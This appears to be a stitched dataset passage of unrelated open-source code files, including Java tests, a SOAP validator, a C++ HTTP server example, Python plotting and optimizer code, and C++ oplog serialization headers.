roleMapper.addPermission(id,p); // } roleMapper.addPermissions(id,permissions); } }
450
844
<reponame>uQr/essentials /* * Copyright (C) 2014-2016 <NAME>, greenrobot (http://greenrobot.org) * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.greenrobot.essentials.io; import org.junit.Test; import java.util.Arrays; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertFalse; import static org.junit.Assert.assertTrue; public class CircularByteBufferTest { @Test public void testStats() { int capacity = 16; CircularByteBuffer buffer = new CircularByteBuffer(capacity); assertEquals(capacity, buffer.capacity()); assertEquals(capacity, buffer.free()); assertEquals(0, buffer.available()); buffer.put(new byte[4]); assertEquals(4, buffer.available()); assertEquals(12, buffer.free()); } @Test public void testClear() { int capacity = 16; CircularByteBuffer buffer = new CircularByteBuffer(capacity); buffer.put(new byte[4]); buffer.clear(); assertEquals(0, buffer.available()); assertEquals(capacity, buffer.free()); // Test room available assertEquals(16, buffer.put(new byte[16])); } @Test public void testOffsetAndLen() { int capacity = 16; CircularByteBuffer buffer = new CircularByteBuffer(capacity); byte[] bytes = createBytes(100); assertEquals(10, buffer.put(bytes, 19, 10)); assertEquals(1, buffer.put(bytes, 49, 1)); assertEquals(5, buffer.put(bytes, 59, 50)); assertEquals(16, buffer.available()); getAndAssertEqualContent(buffer, new byte[]{20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 50, 60, 61, 62, 63, 64}); } @Test public void testPutPartial() { int capacity = 16; CircularByteBuffer buffer = new CircularByteBuffer(capacity); byte[] bytes = createBytes(10); assertEquals(10, buffer.put(bytes)); assertEquals(6, buffer.put(bytes)); assertEquals(0, buffer.put(bytes)); getAndAssertEqualContent(buffer, new byte[]{1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 1, 2, 3, 4, 5, 6}); } @Test public void testGetPartial() { int capacity = 16; CircularByteBuffer buffer = new CircularByteBuffer(capacity); byte[] bytes = createBytes(10); buffer.put(bytes); byte[] bytesGet = new byte[100]; assertEquals(10, buffer.get(bytesGet)); assertEquals(0, buffer.get(bytesGet)); assertEquals(0, buffer.get(bytesGet, 50, 10)); for (int i = 0; i < bytesGet.length; i++) { assertEquals(i < bytes.length ? bytes[i] : 0, bytesGet[i]); } } /** All possible start positions with all possible lengths */ @Test public void testPutAndGet() { int capacity = 16; for (int startPosition = 0; startPosition <= capacity; startPosition++) { for (int length = 1; length <= capacity; length++) { for (int putLength1 = 0; putLength1 <= length; putLength1++) { for (int getLength1 = 0; getLength1 <= length; getLength1++) { CircularByteBuffer buffer = new CircularByteBuffer(capacity); byte[] prepBytes = new byte[startPosition]; assertEquals(startPosition, buffer.put(prepBytes)); assertEquals(startPosition, buffer.get(prepBytes)); byte[] bytes = createBytes(length); assertEquals(putLength1, buffer.put(bytes, 0, putLength1)); assertEquals(putLength1, buffer.available()); int putLength2 = length - putLength1; assertEquals(putLength2, buffer.put(bytes, putLength1, putLength2)); assertEquals(length, buffer.available()); byte[] bytesGet = new byte[length]; assertEquals(getLength1, buffer.get(bytesGet, 0, getLength1)); int getLength2 = length - getLength1; assertEquals(getLength2, buffer.available()); assertEquals(getLength2, buffer.get(bytesGet, getLength1, getLength2)); assertTrue(Arrays.equals(bytes, bytesGet)); assertEquals(0, buffer.available()); } } } } } @Test public void testSkipAndPeek() { int capacity = 17; CircularByteBuffer buffer = new CircularByteBuffer(capacity); byte[] bytes = createBytes(10); // Loop to test a couple of different internal start positions for (int i = 0; i < 10; i++) { buffer.put(bytes); assertEquals(2, buffer.skip(2)); assertEquals(3, buffer.peek()); assertEquals(8, buffer.skip(10)); assertEquals(-1, buffer.peek()); } } @Test public void testGetAndPutSingle() { int capacity = 17; CircularByteBuffer buffer = new CircularByteBuffer(capacity); int length = 10; byte[] bytes = createBytes(length); // Loop to test a couple of different internal start positions for (int i = 0; i < length; i++) { assertEquals(length, buffer.put(bytes)); for (int j = 0; j < length; j++) { assertEquals(bytes[j], buffer.get()); } assertEquals(-1, buffer.get()); assertEquals(0, buffer.available()); for (int j = 0; j < length; j++) { assertTrue(buffer.put(bytes[j])); assertEquals(j + 1, buffer.available()); } getAndAssertEqualContent(buffer, bytes); assertEquals(0, buffer.available()); } } @Test public void testGetAndPutSingleNoData() { CircularByteBuffer buffer = new CircularByteBuffer(1); assertTrue(buffer.put((byte) 42)); assertFalse(buffer.put((byte) 42)); assertEquals(42, buffer.get()); assertEquals(-1, buffer.get()); } private byte[] createBytes(int len) { byte[] bytes = new byte[len]; for (int i = 0; i < len; i++) { bytes[i] = (byte) (i + 1); } return bytes; } private void getAndAssertEqualContent(CircularByteBuffer buffer, byte[] bytes) { byte[] bytesGet = new byte[bytes.length]; assertEquals(bytes.length, buffer.get(bytesGet)); assertTrue(Arrays.equals(bytes, bytesGet)); } }
3,101
558
/* * Licensed to <NAME> (the "Author") under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. Author licenses this * file to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package io.github.microcks.util; import com.eviware.soapui.impl.wsdl.support.wsdl.WsdlContext; import com.eviware.soapui.support.xml.XmlUtils; import org.apache.xmlbeans.SchemaGlobalElement; import org.apache.xmlbeans.SchemaType; import org.apache.xmlbeans.XmlCursor; import org.apache.xmlbeans.XmlError; import org.apache.xmlbeans.XmlException; import org.apache.xmlbeans.XmlLineNumber; import org.apache.xmlbeans.XmlObject; import org.apache.xmlbeans.XmlOptions; import org.apache.xmlbeans.XmlValidationError; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.w3c.dom.Element; import org.w3c.dom.NodeList; import javax.xml.namespace.QName; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; /** * Helper class for validating Soap Messages against their WSDL. Code here is mainly extracted and adapted from * SoapUI WsdlValidator class (see https://github.com/SmartBear/soapui/blob/master/soapui/src/main/java/com/eviware/soapui/impl/wsdl/support/wsdl/WsdlValidator.java * for more details) * @author laurent */ public class SoapMessageValidator { /** A commons logger for diagnostic messages. */ private static Logger log = LoggerFactory.getLogger(SoapMessageValidator.class); /** * Validate a soap message accordingly to its WSDL and linked XSD resources. The validation is * done for a specified message part (maybe be the input, output or fault of an operation). * @param partName The name of the part to validate ie. name of the input, output or fault part (ex: sayHello) * @param partNamespace The namespace of the part to validate (ex: http://www.mma.fr/test/service) * @param message The full soap message as a string * @param wsdlUrl The URL where we can resolve service and operation WSDL * @param validateMessageBody Should we validate also the body ? If false, only Soap envelope is validated. * @return The list of validation failures. If empty, message is valid ! * @throws org.apache.xmlbeans.XmlException if given message is not a valid Xml document */ public static List<XmlError> validateSoapMessage(String partName, String partNamespace, String message, String wsdlUrl, boolean validateMessageBody) throws XmlException { // WsdlContext ctx = new WsdlContext(wsdlUrl); List<XmlError> errors = new ArrayList<XmlError>(); ctx.getSoapVersion().validateSoapEnvelope(message, errors); log.debug("SoapEnvelope validation errors: " + errors.size()); if (validateMessageBody){ // Create XmlBeans object for the soap message. XmlOptions xmlOptions = new XmlOptions(); xmlOptions.setLoadLineNumbers(); xmlOptions.setLoadLineNumbers( XmlOptions.LOAD_LINE_NUMBERS_END_ELEMENT ); XmlObject xml = XmlUtils.createXmlObject(message, xmlOptions); // Build the QName string of the part name. Ex: {http://www.github.com/lbroudoux/service}sayHello String fullPartName = "{" + partNamespace + "}" + partName; // Extract the corresponding part from soap body. XmlObject[] paths = xml.selectPath( "declare namespace env='" + ctx.getSoapVersion().getEnvelopeNamespace() + "';" + "declare namespace ns='" + partNamespace + "';" + "$this/env:Envelope/env:Body/ns:" + partName); SchemaGlobalElement elm; try { elm = ctx.getSchemaTypeLoader().findElement(QName.valueOf(fullPartName)); } catch (Exception e) { log.error("Exception while loading schema information for " + fullPartName, e); throw new XmlException("Exception while loading schema information for " + fullPartName, e); } if ( elm != null ){ validateMessageBody(ctx, errors, elm.getType(), paths[0]); // Ensure no other elements in body. NodeList children = XmlUtils.getChildElements((Element) paths[0].getDomNode().getParentNode()); for (int c = 0; c < children.getLength(); c++){ QName childName = XmlUtils.getQName(children.item(c)); // Compare child QName to full part QName. if (!fullPartName.equals(childName.toString())){ XmlCursor cur = paths[0].newCursor(); cur.toParent(); cur.toChild( childName ); errors.add( XmlError.forCursor( "Invalid element [" + childName + "] in SOAP Body", cur ) ); cur.dispose(); } } } log.debug("SoapBody validation errors: " + errors.size()); } return errors; } /** Helper message for validating the body of a Soap message. */ private static void validateMessageBody(WsdlContext ctx, List<XmlError> errors, SchemaType type, XmlObject msg) throws XmlException { // Need to create new body element of correct type from xml text since we want to retain line-numbers. XmlOptions xmlOptions = new XmlOptions(); xmlOptions.setLoadLineNumbers(); xmlOptions.setLoadLineNumbers(XmlOptions.LOAD_LINE_NUMBERS_END_ELEMENT); XmlCursor cur = msg.newCursor(); Map<String, String> map = new HashMap<String, String>(); while (cur.hasNextToken()) { if (cur.toNextToken().isNamespace()) map.put(cur.getName().getLocalPart(), cur.getTextValue()); } xmlOptions.setUseDefaultNamespace(); xmlOptions.setSaveOuter(); // Problem: prefixes might get redefined/changed when saving which can cause xsi:type refs to // reference wrong/non-existing namespace.. solution would probably be to manually walk through // document and update xsi:type refs with new prefix. The setUseDefaultNamespace() above helps // here but is not a definitive fix. String xmlText = msg.copy().changeType(type).xmlText(xmlOptions); xmlOptions.setLoadAdditionalNamespaces(map); XmlObject obj = type.getTypeSystem().parse(xmlText, type, xmlOptions); obj = obj.changeType(type); // Create internal error list. ArrayList<Object> list = new ArrayList<Object>(); xmlOptions = new XmlOptions(); xmlOptions.setErrorListener(list); xmlOptions.setValidateTreatLaxAsSkip(); try { obj.validate(xmlOptions); } catch (Exception e) { list.add("Internal Error - see error log for details - [" + e + "]"); } // Transfer errors for "real" line numbers. for (int c = 0; c < list.size(); c++) { XmlError error = (XmlError) list.get(c); if (error instanceof XmlValidationError) { XmlValidationError validationError = ((XmlValidationError) error); if (ctx.getSoapVersion().shouldIgnore(validationError)) continue; // Ignore cid: related errors if (validationError.getErrorCode().equals("base64Binary") || validationError.getErrorCode().equals("hexBinary")) { XmlCursor cursor = validationError.getCursorLocation(); if (cursor.toParent()) { String text = cursor.getTextValue(); // Special handling for soapui/MTOM -> add option for disabling? if (text.startsWith("cid:") || text.startsWith("file:")) { // ignore continue; } } } } int line = error.getLine() == -1 ? 0 : error.getLine() - 1; errors.add(XmlError.forLocation(error.getMessage(), error.getSourceName(), getLine(msg) + line, error.getColumn(), error.getOffset())); } } /** Helper for retrieving the real line of an error. */ private static int getLine(XmlObject object) { List<?> list = new ArrayList<Object>(); object.newCursor().getAllBookmarkRefs(list); for (int c = 0; c < list.size(); c++) { if (list.get(c) instanceof XmlLineNumber) { return ((XmlLineNumber) list.get(c)).getLine(); } } return -1; } }
3,449
1,056
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package org.netbeans.modules.projectimport.eclipse.core; import java.util.HashMap; import java.util.Map; /** * @author <NAME> */ public class PreferredVMParserTest extends ProjectImporterTestCase { public PreferredVMParserTest(String testName) { super(testName); } /** Also test 57661. */ public void testParse() throws ProjectImporterException { String org_eclipse_jdt_launching_PREF_VM_XML = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" + "<vmSettings defaultVM=\"57,org.eclipse.jdt.internal.debug.ui.launcher.StandardVMType13,1135246830946\" defaultVMConnector=\"\">\n" + "<vmType id=\"org.eclipse.jdt.internal.debug.ui.launcher.StandardVMType\">\n" + "<vm id=\"0\" name=\"jdk-6-beta-bin-b59c\" path=\"/space/java/jdk-6-beta-bin-b59c\"/>\n" + "<vm id=\"1135246830946\" name=\"jdk-6-rc-bin-b64\" path=\"/space/java/jdk-6-rc-bin-b64\">\n" + "<libraryLocations>\n" + "<libraryLocation jreJar=\"/space/java/0_lib/commons-collections-2.1.jar\" jreSrc=\"\" pkgRoot=\"\"/>\n" + "<libraryLocation jreJar=\"/space/java/jdk-6-rc-bin-b64/jre/lib/resources.jar\" jreSrc=\"/space/java/jdk-6-rc-bin-b64/src.zip\" pkgRoot=\"\"/>\n" + "<libraryLocation jreJar=\"/space/java/jdk-6-rc-bin-b64/jre/lib/rt.jar\" jreSrc=\"/space/java/jdk-6-rc-bin-b64/src.zip\" pkgRoot=\"\"/>\n" + "<libraryLocation jreJar=\"/space/java/jdk-6-rc-bin-b64/jre/lib/jsse.jar\" jreSrc=\"/space/java/jdk-6-rc-bin-b64/src.zip\" pkgRoot=\"\"/>\n" + "<libraryLocation jreJar=\"/space/java/jdk-6-rc-bin-b64/jre/lib/jce.jar\" jreSrc=\"/space/java/jdk-6-rc-bin-b64/src.zip\" pkgRoot=\"\"/>\n" + "<libraryLocation jreJar=\"/space/java/jdk-6-rc-bin-b64/jre/lib/charsets.jar\" jreSrc=\"/space/java/jdk-6-rc-bin-b64/src.zip\" pkgRoot=\"\"/>\n" + "<libraryLocation jreJar=\"/space/java/jdk-6-rc-bin-b64/jre/lib/ext/sunjce_provider.jar\" jreSrc=\"\" pkgRoot=\"\"/>\n" + "<libraryLocation jreJar=\"/space/java/jdk-6-rc-bin-b64/jre/lib/ext/sunpkcs11.jar\" jreSrc=\"\" pkgRoot=\"\"/>\n" + "<libraryLocation jreJar=\"/space/java/jdk-6-rc-bin-b64/jre/lib/ext/dnsns.jar\" jreSrc=\"\" pkgRoot=\"\"/>\n" + "<libraryLocation jreJar=\"/space/java/jdk-6-rc-bin-b64/jre/lib/ext/localedata.jar\" jreSrc=\"\" pkgRoot=\"\"/>\n" + "</libraryLocations>\n" + "</vm>\n" + "</vmType>\n" + "</vmSettings>\n"; Map<String,String> jdks = PreferredVMParser.parse(org_eclipse_jdt_launching_PREF_VM_XML); Map<String,String> expectedJDKs = new HashMap<String,String>(); expectedJDKs.put("jdk-6-rc-bin-b64", "/space/java/jdk-6-rc-bin-b64"); expectedJDKs.put("org.eclipse.jdt.launching.JRE_CONTAINER", "/space/java/jdk-6-rc-bin-b64"); expectedJDKs.put("jdk-6-beta-bin-b59c", "/space/java/jdk-6-beta-bin-b59c"); assertEquals("JDKs were successfully parsed", expectedJDKs, jdks); } }
1,792
312
#include "wfrest/HttpServer.h" using namespace wfrest; int main() { HttpServer svr; svr.PUT("/account", [](const HttpReq *req, HttpResp *resp) { fprintf(stderr, "put account\n"); resp->String("put verb"); }); svr.DELETE("/account", [](const HttpReq *req, HttpResp *resp) { fprintf(stderr, "delete account\n"); resp->String("delete verb"); }); svr.POST("/account", [](const HttpReq *req, HttpResp *resp) { fprintf(stderr, "post account\n"); resp->String("post verb"); }); if (svr.track().start(8888) == 0) { svr.list_routes(); getchar(); svr.stop(); } else { fprintf(stderr, "Cannot start server"); exit(1); } return 0; }
383
4,959
<reponame>nipunbatra/pyro # Copyright Contributors to the Pyro project. # SPDX-License-Identifier: Apache-2.0 from typing import List, Union, ValuesView from torch.optim import Optimizer import pyro from .optim import PyroOptim class HorovodOptimizer(PyroOptim): r""" Distributed wrapper for a :class:`~pyro.optim.optim.PyroOptim` optimizer. This class wraps a ``PyroOptim`` object similar to the way :func:`horovod.torch.DistributedOptimizer` wraps a :class:`torch.optim.Optimizer`. .. note:: This requires :mod:`horovod.torch` to be installed, e.g. via ``pip install pyro[horovod]``. For details see https://horovod.readthedocs.io/en/stable/install.html :param: A Pyro optimizer instance. :type pyro_optim: ~pyro.optim.optim.PyroOptim :param \*\*horovod_kwargs: Extra parameters passed to :func:`horovod.torch.DistributedOptimizer`. """ def __init__(self, pyro_optim: PyroOptim, **horovod_kwargs): param_name = pyro.get_param_store().param_name def optim_constructor(params, **pt_kwargs) -> Optimizer: import horovod.torch as hvd # type: ignore pt_optim = pyro_optim.pt_optim_constructor(params, **pt_kwargs) # type: ignore named_parameters = [(param_name(p), p) for p in params] hvd_optim = hvd.DistributedOptimizer( pt_optim, named_parameters=named_parameters, **horovod_kwargs, ) return hvd_optim # type: ignore super().__init__( optim_constructor, pyro_optim.pt_optim_args, pyro_optim.pt_clip_args ) def __call__(self, params: Union[List, ValuesView], *args, **kwargs) -> None: # Sort by name to ensure deterministic processing order. params = sorted(params, key=pyro.get_param_store().param_name) super().__call__(params, *args, **kwargs)
829
3,401
# -*- coding: UTF-8 -*- """ @author:xda @file:fund_share_monitor.py @time:2021/01/27 """ # 份额监控,对上一天额度出现较大申购进行监控 import sys sys.path.append('..') from configure.settings import DBSelector from common.BaseService import BaseService from fund.fund_share_crawl import ShareModel,FundBaseInfoModel,Fund from sqlalchemy import and_ class ShareMonitor(Fund): def __init__(self,): super(ShareMonitor, self).__init__() self.sess = self.get_session()() def query(self,code,date): # last_date = obj = self.sess.query(ShareModel).filter(and_(ShareModel.date<=date, ShareModel.code==code)).all() # print(obj) if obj: for i in obj: print(i.code) print(i.share) print(i.date) print('') if __name__ == '__main__': app = ShareMonitor() code = '167302' date = '2021-01-26' app.query(code=code,date=date)
465
715
import numpy as np from pyray.shapes.twod.paraboloid import * from pyray.shapes.twod.functional import * from pyray.rotation import * from mpl_toolkits.mplot3d import Axes3D import matplotlib.pyplot as plt from matplotlib import cm from matplotlib.ticker import LinearLocator, FormatStrFormatter import matplotlib as mpl import os basedir = '.\\Images\\RotatingCube\\' if os.name == 'posix': basedir = 'Images/RotatingCube/' def draw_cubic(): fn = lambda x,y: x**3+y**3 for i in range(20): im = Image.new("RGB", (2048, 2048), "black") draw = ImageDraw.Draw(im, 'RGBA') r = general_rotation(np.array([1,0,0]),np.pi/120*i) #drawFunctionalXYGridInCircle(draw, r, fn=fn, scale=10.0) im.save(basedir + 'im' + str(i) + '.png') def three_d_grid(): fig = plt.figure() ax = fig.gca(projection='3d') # Make data. X = np.arange(-5, 5, 0.25) Y = np.arange(-5, 5, 0.25) X, Y = np.meshgrid(X, Y) R = (X**3 + Y**3) Z = R # Plot the surface. surf = ax.plot_surface(X, Y, Z, cmap=cm.coolwarm, linewidth=0, antialiased=False) # Customize the z axis. #ax.set_zlim(-1.01, 1.01) #ax.zaxis.set_major_locator(LinearLocator(10)) #ax.zaxis.set_major_formatter(FormatStrFormatter('%.02f')) # Add a color bar which maps values to colors. fig.colorbar(surf, shrink=0.5, aspect=5) plt.show() mpl.rcParams['legend.fontsize'] = 10 fig = plt.figure() ax = fig.gca(projection='3d') theta = np.linspace(0, 2 * np.pi, 100) for r in np.arange(0.1,1.0,0.1): #r = 1.0 x = r * np.sin(theta) y = r * np.cos(theta) z = x**3+y**3 ax.plot(x, y, z, label='parametric curve') #ax.legend() plt.show() def paraboloid_w_grad(im_ind=0, scale=200, shift=np.array([1000,1000,0]), opacity=60, basepath='.\\'): r1 = np.eye(4) rot = general_rotation(np.array([0,0,1]), np.pi/20.0 * (8 + im_ind/3.0)) j=4 r = rotation(3, 2 * np.pi* j /30.0) rr = general_rotation(np.array([0,1,0]), np.pi/20.0 * (im_ind/7.0)) r = np.dot(r,rr) r = np.dot(r, rot) r1[:3,:3] = r im = Image.new("RGB", (2048, 2048), "black") draw = ImageDraw.Draw(im, 'RGBA') render_scene_4d_axis(draw, r1, 4, scale, shift) # This is what draws the pink paraboloid. for z in np.arange(0.001, 3.5, 0.02): point1 = np.array([np.sqrt(z),0,z]) generalized_arc(draw, r, center=np.array([0,0,z]), vec=np.array([0,0,1]), point=point1, radius=np.sqrt(z), prcnt=1.0, rgba=(255,20,147,50)) xax1=np.array([-100.0,0,0.0]);xax1=np.dot(r,xax1)*scale+shift xax2=np.array([100.0,0,0.0]);xax2=np.dot(r,xax2)*scale+shift draw.line((xax1[0], xax1[1], xax2[0], xax2[1]), fill=(255,255,0), width=4) xax1=np.array([0.0,-100,0.0]);xax1=np.dot(r,xax1)*scale+shift xax2=np.array([0.0,100,0.0]);xax2=np.dot(r,xax2)*scale+shift draw.line((xax1[0], xax1[1], xax2[0], xax2[1]), fill=(255,255,0), width=4) #gradients(draw,r) pt = shift draw.ellipse((pt[0]-10, pt[1]-10, pt[0]+10, pt[1]+10), fill = (0,255,0)) draw_paraboloid_plane(draw,r,3.3) draw_paraboloid_plane(draw,r,2.0,extent=1.4) draw_paraboloid_plane(draw,r,1.0,extent=1.0) im.save(basepath + 'im' + str(im_ind) + '.png') def gradients(draw,r): #for z in [0.3,1.3,2.3,3.3]: for z in [3.3,2.0,1.0]: x = np.sqrt(z) for x in np.arange(-x,x,x/2): y = np.sqrt(z-x*x) arrowV1(draw,r,np.array([y,x,z]), np.array([1.5*y,1.5*x,z]), (204,102,255)) if z>3.0: arrowV1(draw,r,np.array([-y,x,z]), np.array([-1.5*y,1.5*x,z]), (204,102,255)) def draw_paraboloid_plane(draw,r,z=3.3,scale=200,shift=np.array([1000,1000,0]),extent=2): pt1=np.array([extent,extent,z]);pt1=np.dot(r,pt1)*scale+shift pt2=np.array([extent,-extent,z]);pt2=np.dot(r,pt2)*scale+shift pt3=np.array([-extent,-extent,z]);pt3=np.dot(r,pt3)*scale+shift pt4=np.array([-extent,extent,z]);pt4=np.dot(r,pt4)*scale+shift draw.polygon([(pt1[0], pt1[1]), (pt2[0], pt2[1]), (pt3[0], pt3[1]), (pt4[0], pt4[1])],\ (0,102,255,50)) point1 = np.array([np.sqrt(z),0,z]) generalized_arc(draw, r, center=np.array([0,0,z]), vec=np.array([0,0,1]), point=point1, radius=np.sqrt(z), prcnt=1.0,scale=scale, rgba=(255,20,10,100),width=10) def plane_w_arrows(im_ind=0, scale=200,\ shift=np.array([824,824,0]),\ basepath='.\\'): r1 = np.eye(4) rot = general_rotation(np.array([0,0,1]), np.pi/20.0*(8 + im_ind/3.0)) j=4 r = rotation(3, 2*np.pi*j/30.0) rr = general_rotation(np.array([0,1,0]), np.pi/20.0*(im_ind/7.0)) r = np.dot(r,rr) r = np.dot(r, rot) r1[:3,:3] = r im = Image.new("RGB", (1648, 1648), "black") draw = ImageDraw.Draw(im, 'RGBA') pt1 = 3*np.array([1.0,-1.0,0]); pt2 = 3*np.array([1.0,1.0,0]) z = 1.2**2+1 pt3 = 3*np.array([-1.0,1.0,0]); pt4 = 3*np.array([-1.0,-1.0,0]) pt1 = np.dot(r,pt1)*scale+shift; pt2 = np.dot(r,pt2)*scale+shift pt3 = np.dot(r,pt3)*scale+shift; pt4 = np.dot(r,pt4)*scale+shift draw.polygon([(pt1[0], pt1[1]), (pt2[0], pt2[1]), (pt3[0], pt3[1]), (pt4[0], pt4[1])],\ (0,102,255,50)) draw_arrows(draw,r,rgba=(255,250,47),shift=shift) draw_arrows(draw,r,rot_angl=np.pi/2.0, rgba=(73,200,250),shift=shift) draw_arrows(draw,r,rot_angl=np.pi/2.0+np.pi/3, rgba=(255,20,147),shift=shift) arrowV1(draw,r,np.array([0,0,0]), np.array([0,0,2.5]), shift=shift,rgb=(20,200,25)) arrowV1(draw,r,np.array([0,0,0]), np.array([0,0,-2.5]), shift=shift,rgb=(255,20,25)) im.save(basepath + 'im' + str(im_ind) + '.png') def draw_arrows(draw,r,rot_angl=np.pi/6.0,rgba=(255,20,147),shift=np.array([1000,1000,0])): base = np.array([0,0,1.5]) for theta in np.arange(0,np.pi*2,2*np.pi/3): a = np.array([np.cos(theta),np.sin(theta),0]) rr = general_rotation(a, rot_angl) arrow1 = np.dot(rr,base) arrowV1(draw,r,np.array([0,0,0]), arrow1, rgb=rgba,shift=shift) rgba = rgba+(150,) generalized_arc(draw, r, center=np.array([0,0,1.5*np.cos(rot_angl)]), vec=np.array([0,0,1]), point=1.5*np.array([0,np.sin(rot_angl),np.cos(rot_angl)]), radius=100, prcnt=1.0, rgba=rgba,shift=shift) ##################### ## Paraboloid with Lagrange visualized. im = Image.new("RGB", (2048, 2048), (1, 1, 1)) draw = ImageDraw.Draw(im, 'RGBA') scale=5.0; ind=0; sep = 24; i = 2.0; base_coeff = 0.02; start_line = -12.0 shift = np.array([1000.0, 1000.0, 0.0]) r1 = np.eye(4); j=24 r = rotation(3, np.pi/30*j) r1[:3,:3] = r render_scene_4d_axis(draw, r1, 4) fn = lambda x, y : paraboloid(x, y, coeff=i*base_coeff, intercept=i) drawFunctionalXYGrid(draw, r, scale=scale, fn=fn, extent=60, rgba2=(255,20,147,80), saperatingPlane=np.array([-1,-1,sep])) three_d_parabola(draw, r, r2) im.save(basedir + 'im' + str(0) + '.png')
3,887
552
/* Copyright 2017 Vector Creations Ltd Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ #import <MatrixKit/MatrixKit.h> @class BadgeLabel; /** 'RoomCollectionViewCell' class is used to display a room in a collection view. */ @interface RoomCollectionViewCell : MXKCollectionViewCell <MXKCellRendering> { @protected /** The current cell data displayed by the collection view cell */ id<MXKRecentCellDataStoring> roomCellData; } @property (weak, nonatomic) IBOutlet UILabel *roomTitle; @property (weak, nonatomic) IBOutlet UILabel *roomTitle1; @property (weak, nonatomic) IBOutlet UILabel *roomTitle2; @property (weak, nonatomic) IBOutlet UIView *editionArrowView; @property (weak, nonatomic) IBOutlet MXKImageView *roomAvatar; @property (weak, nonatomic) IBOutlet UIImageView *encryptedRoomIcon; @property (weak, nonatomic) IBOutlet BadgeLabel *badgeLabel; @property (nonatomic, readonly) NSString *roomId; @property (nonatomic) NSInteger collectionViewTag; // default is -1 /** The default collection view cell size. */ + (CGSize)defaultCellSize; @end
463
370
#pragma once #include <memory> #include <vector> #include <boost/noncopyable.hpp> #include <petuum_ps/thread/context.hpp> #include <petuum_ps_common/include/constants.hpp> #include <petuum_ps_common/oplog/abstract_row_oplog.hpp> #include <glog/logging.h> namespace petuum { struct SerializedOpLogBuffer : boost::noncopyable { public: typedef size_t (*GetSerializedRowOpLogSizeFunc)(AbstractRowOpLog *row_oplog); static size_t GetDenseSerializedRowOpLogSize(AbstractRowOpLog *row_oplog) { return row_oplog->GetDenseSerializedSize(); } static size_t GetSparseSerializedRowOpLogSize(AbstractRowOpLog *row_oplog) { row_oplog->ClearZerosAndGetNoneZeroSize(); return row_oplog->GetSparseSerializedSize(); } SerializedOpLogBuffer(bool dense_serialize): size_(0), mem_(new uint8_t[capacity_]), num_row_oplogs_(0) { if (dense_serialize) { SerializeOpLog_ = &AbstractRowOpLog::SerializeDense; GetSerializedRowOpLogSize_ = GetDenseSerializedRowOpLogSize; } else { SerializeOpLog_ = &AbstractRowOpLog::SerializeSparse; GetSerializedRowOpLogSize_ = GetSparseSerializedRowOpLogSize; } } ~SerializedOpLogBuffer() { delete[] mem_; } size_t AppendRowOpLog(int32_t row_id, AbstractRowOpLog *row_oplog) { size_t serialized_size = GetSerializedRowOpLogSize_(row_oplog); if (size_ + sizeof(int32_t) + serialized_size > capacity_) return 0; *(reinterpret_cast<int32_t*>(mem_ + size_)) = row_id; size_ += sizeof(int32_t); serialized_size = (row_oplog->*SerializeOpLog_)(mem_ + size_); size_ += serialized_size; ++num_row_oplogs_; return sizeof(int32_t) + serialized_size; } size_t get_size() const { return size_; } const uint8_t *get_mem() const { return mem_; } size_t get_num_row_oplogs() const { return num_row_oplogs_; } private: static const size_t capacity_ = 1*k1_Mi; size_t size_; uint8_t* mem_; AbstractRowOpLog::SerializeFunc SerializeOpLog_; GetSerializedRowOpLogSizeFunc GetSerializedRowOpLogSize_; size_t num_row_oplogs_; }; class RowOpLogSerializer : boost::noncopyable { public: RowOpLogSerializer(bool dense_serialize, int32_t my_comm_channel_idx): dense_serialize_(dense_serialize), my_comm_channel_idx_(my_comm_channel_idx) { } ~RowOpLogSerializer() { CHECK_EQ(buffer_map_.size(), 0); } size_t AppendRowOpLog(int32_t row_id, AbstractRowOpLog *row_oplog) { int32_t server_id = GlobalContext::GetPartitionServerID( row_id, my_comm_channel_idx_); auto map_iter = buffer_map_.find(server_id); if (map_iter == buffer_map_.end()) { buffer_map_.insert(std::make_pair( server_id, std::vector<SerializedOpLogBuffer*>(1) ) ); map_iter = buffer_map_.find(server_id); (map_iter->second)[0] = new SerializedOpLogBuffer(dense_serialize_); } SerializedOpLogBuffer *buffer = map_iter->second.back(); size_t serialized_size = buffer->AppendRowOpLog(row_id, row_oplog); if (serialized_size == 0) { SerializedOpLogBuffer *new_buffer = new SerializedOpLogBuffer(dense_serialize_); serialized_size = new_buffer->AppendRowOpLog(row_id, row_oplog); CHECK_GT(serialized_size, 0) << "row id = " << row_id; map_iter->second.push_back(new_buffer); } return serialized_size; } // assme map entries are already reset to 0 void GetServerTableSizeMap(std::map<int32_t, size_t> *table_num_bytes_by_server) { for (auto &buff_pair : buffer_map_) { std::vector<SerializedOpLogBuffer*> &buff_vec = buff_pair.second; CHECK(buff_vec.size() 